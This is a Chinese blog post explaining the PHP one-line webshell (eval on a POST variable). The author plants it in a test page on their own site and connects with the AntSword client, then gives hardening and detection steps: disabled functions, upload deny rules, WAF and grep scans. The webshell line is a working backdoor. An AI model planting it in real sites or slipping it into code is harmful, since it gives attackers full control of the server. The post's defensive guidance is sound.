简介

一句话木马就是一段简单的代码,就这短短的一行代码,就能做到和大马相当的功能。一句话木马短小精悍,而且功能强大,隐蔽性非常好,在入侵中始终扮演着强大的作用。

原理

<?php @eval($_POST['shell']);?>
这是php的一句话后门中最普遍的一种。它的工作原理是:
首先存在一个名为shell的变量,shell的取值为HTTP的POST方式。Web服务器对shell取值以后,然后通过eval()函数执行shell里面的内容。

实践

先在我的网站api.xhuaxs.com目录下新建test.php文件作为本次的木马测试文件

那么这个网页的url就是:https://api.xhuaxs.com/test.php

在该文件内我们可以正常写入一些php代码,让网页可是正常的显示内容

随后我们只需要在代码的任意位置加入一句代码:

<?php @eval($_POST['shell']);?>

那么,木马就这样轻松的植入成功了,且不影响网页的正常访问

此时只需使用连接工具就可实现入侵了,我这里使用的是蚁剑(GitHub - AntSwordProject/antSword: 中国蚁剑是一款跨平台的开源网站管理工具。AntSword is a cross-platform website management toolkit.

203246.webp

进入软件后直接右键添加数据600981.webp

url就是植入木马的网页地址,连接密码就是变量,上述提供的示例代码变量是shell,故连接密码就是shell

如果有时添加提示失败可能需要在其他设置>勾选忽略HTTPS证书

424169.webp

然后添加就行了,添加完成后直接双击进入即可实现入侵068510.webp

这php一句话木马歹毒的就在于首先它很简单,但是入侵后能控制的是整个服务器的文件,而不是单个网站目录下的文件

预防

请根据网站的实际情况合理设置,若设置不当将可能导致网站部分功能受限

1. 服务器与PHP环境加固

  • 禁用高危函数
    php.ini 中禁用危险函数(如 evalsystemexec 等):

    disable_functions = eval,assert,system,exec,passthru,shell_exec,popen,proc_open
  • 关闭危险配置
    禁用动态代码执行和远程文件包含:

    allow_url_fopen = Off
    allow_url_include = Off
  • 限制文件权限

    • 运行PHP的用户(如 www-data)权限最小化。
    • 网站根目录权限设为 755,文件权限设为 644
    • 上传目录禁止执行PHP:
      Nginx 配置示例

      location ~* ^/uploads/.*\.(php|phar)$ {
          deny all;
      }

      Apache 配置示例(在 .htaccess 中):

      filesmatch
      Order Deny,Allow
      Deny from all


2. 代码安全实践

  • 过滤所有用户输入
    $_GET$_POST$_COOKIE 等输入严格过滤:

    $input = filter_input(INPUT_GET, 'param', FILTER_SANITIZE_STRING);
    • 避免动态执行代码
      禁止使用 eval()create_function() 等函数。
    • 文件上传安全

      • 验证文件类型(检查MIME类型+文件头,而非仅扩展名)。
      • 重命名上传文件(如 md5(uniqid()).jpg)。
      • 存储到非Web可访问目录(通过脚本代理访问)。

3. Web服务器防护

  • WAF(Web应用防火墙)
    部署ModSecurity(开源WAF),拦截木马特征请求(如 eval(base64_decode()。
  • 目录访问控制
    禁止遍历敏感目录(如 /tmp/uploads):

    location ~ ^/(tmp|uploads)/ {
        deny all;
    }

4. 入侵检测与监控

  • 文件完整性监控
    使用工具(如 AIDETripwire)监控网站文件变动,实时告警。
  • 日志分析
    监控PHP错误日志,扫描可疑行为(如多次包含失败、eval错误)。
  • 恶意文件扫描
    定期用工具扫描(如 ClamAV +自定义规则):
    bash

    clamscan -r --include="\.(php|txt)$" /var/www/html

5. 开发规范

  • 避免拼接动态路径
    禁止代码如:include($_GET['page'] . '.php');
    改用白名单机制:

    $allowed = ['home','about'];
    if (in_array($_GET['page'], $allowed)) {
        include($_GET['page'] . '.php');
    }
  • 使用安全框架
    选择Laravel、Symfony等框架,其内置过滤和ORM降低风险。

6. 应急响应

  • 木马排查命令
    快速定位可疑文件:

    # 查找含eval/base64的PHP文件
    grep -r --include="*.php" "eval(" /var/www/html
    grep -r --include="*.php" "base64_decode" /var/www/html
    
    # 查找最近修改的文件
    find /var/www/html -type f -mtime -1 -name "*.php"
544876.webp
最后修改:2025 年 08 月 10 日
如果觉得我的文章对你有用,请随意赞赏